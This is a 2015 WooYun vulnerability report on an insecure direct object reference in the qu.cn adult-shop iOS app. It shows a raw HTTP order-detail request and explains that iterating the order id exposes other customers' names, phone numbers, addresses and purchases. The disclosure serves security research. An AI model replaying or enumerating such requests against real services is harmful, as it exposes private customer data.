当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146406

漏洞标题：趣网IOS客户端存在严重设计缺陷可查看任意用户订单详情和联系人详细信息

相关厂商：qu.cn

漏洞作者： 路人甲

提交时间：2015-10-13 21:23

修复时间：2015-10-18 21:24

公开时间：2015-10-18 21:24

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-13： 细节已通知厂商并且等待厂商处理中
2015-10-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rank

详细说明：

下载地址扫一下二维码:http://app.qu.cn/
然后随便注册个帐号下单

IMG_0153.PNG


GET /app/ios/100/user_order.php?act=detail&id=1570111 HTTP/1.1
Host: ios.qu.cn
Proxy-Connection: close
Accept-Encoding: gzip
User-Agent: 趣网情趣商城 1.0.0 rv:1.0.0.3 (iPhone; iPhone OS 9.0.2; ja_CN)
Connection: close
Cookie: lastcar=961; ECS_ID=08028ecdd0e85b85f73a1eac1294ef597c0344c4; from_ad=0; landing=ios.qu.cn%2Fapp%2Fios%2F100%2Findex.php%3Fwifi%3D1; real_ip=106.5.196.47; referer=%E7%9B%B4%E6%8E%A5%E8%BE%93%E5%85%A5; UUID150210=d774397c9830e031f932e293a1c86eef


后面的id越权

2.png


包含姓名\电话\地址以及买了什么东西等
遍历

1.png

漏洞证明：

.

修复方案：

控制权限

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-18 21:24

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无